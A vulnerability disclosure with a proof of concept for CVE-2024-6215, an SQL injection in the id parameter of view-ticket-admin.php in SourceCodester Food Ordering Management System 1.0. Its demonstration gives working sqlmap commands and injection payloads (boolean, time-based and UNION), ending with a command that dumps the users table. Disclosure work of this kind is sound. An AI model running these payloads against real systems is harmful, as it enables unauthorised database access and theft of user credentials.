CVE-2024-6215

SQL Injection vulnerability was discovered from Sourcecodester Food Ordering Management System 1.0 (view-ticket-admin.php)

CVE-2024-6215

A vulnerability was found in SourceCodester Food Ordering Management System up to 1.0. It has been rated as critical. This issue affects some unknown processing of the file view-ticket-admin.php. The manipulation of the argument id leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-269279.

Affected Project: Sourcecodester Food Ordering Management System 1.0

Official Website: https://www.sourcecodester.com/php/15689/food-ordering-management-system-php-and-mysql-free-source-code.html

Version: 1.0

Related Code file: view-ticket-admin.php

Injection parameter: id

Vulnerability Analysis

1. Lack of Input Validation and Sanitization: The id fields are directly used in the SQL query without any sanitization or validation. This allows an attacker to manipulate the SQL query by injecting malicious SQL code.

2. Use of Plain SQL Queries: The script likely uses plain SQL queries to interact with the database. Without prepared statements, this approach is highly vulnerable to SQL injection.

Demonstraation

Below is the view-ticket-admin.php:

http://172.16.76.1/foms/view-ticket-admin.php

We will first intercept the view-ticket traffic using Burp Suite:

Save the intercepted request to a .txt file and execute sqlmap towards it.

id price is vulnerable to boolean-based blind sql injection

Below commands verifies the vulnerability:

sqlmap -r foms-view-ticket-admin.txt --batch

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 5820=5820

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 1153 FROM (SELECT(SLEEP(5)))TJiA)

    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: id=-3013 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176716b71,0x674f514145744f534654486259594c6e6d63775669714f656656796b687747487963774273506755,0x716a6a6a71),NULL,NULL-- -
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sqlmap -r foms-view-ticket-admin.txt --batch --dbs

sqlmap -r foms-view-ticket-admin.txt --batch --dbs -D foms_db -T users --dump